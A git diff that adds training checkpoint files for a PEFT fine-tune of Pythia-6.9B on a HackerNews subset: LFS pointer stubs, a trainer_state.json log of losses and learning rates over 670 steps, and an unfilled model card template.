100644 index 0000000000000000000000000000000000000000..586a9a09c2a159fb54650cb17fc8d45def2f1987 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:10919a90c7e6a46fdb6513efffdc62e6f59b9a098426b6240a279681531acf9f +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b50ed8357a00070f99a52843c3e3d150dbd5b1aa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5bb0850ed44e50e4ccb2afc9aab9a80c17a31208454b069930105956f7f9a183 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..72ac93ee4249bf1220c3ed82f099c14ae0267a68 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:886b6be563b163a73eaac3a0ce905ce45ea5202bed173e897fec04ed18434edc +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..9bfe6afef03d251b9e49eb6cde4e0e638382988b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json @@ -0,0 +1,1038 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.933333333333334, + "eval_steps": 10, + "global_step": 670, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 3.86953067779541, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5459, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 2.9791789054870605, + "eval_runtime": 43.8107, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.8861212730407715, + "learning_rate": 2.962962962962963e-06, + "loss": 1.5449, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 2.9787235260009766, + "eval_runtime": 43.8368, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9185147285461426, + "learning_rate": 1.777777777777778e-06, + "loss": 1.5618, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 2.9785189628601074, + "eval_runtime": 43.9369, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 660 + }, + { + "epoch": 8.933333333333334, + "grad_norm": 3.92482852935791, + "learning_rate": 5.925925925925927e-07, + "loss": 1.5768, + "step": 670 + }, + { + "epoch": 8.933333333333334, + "eval_loss": 2.9794795513153076, + "eval_runtime": 44.0897, + "eval_samples_per_second": 22.681, + "eval_steps_per_second": 2.835, + "step": 670 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.097866823073792e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git 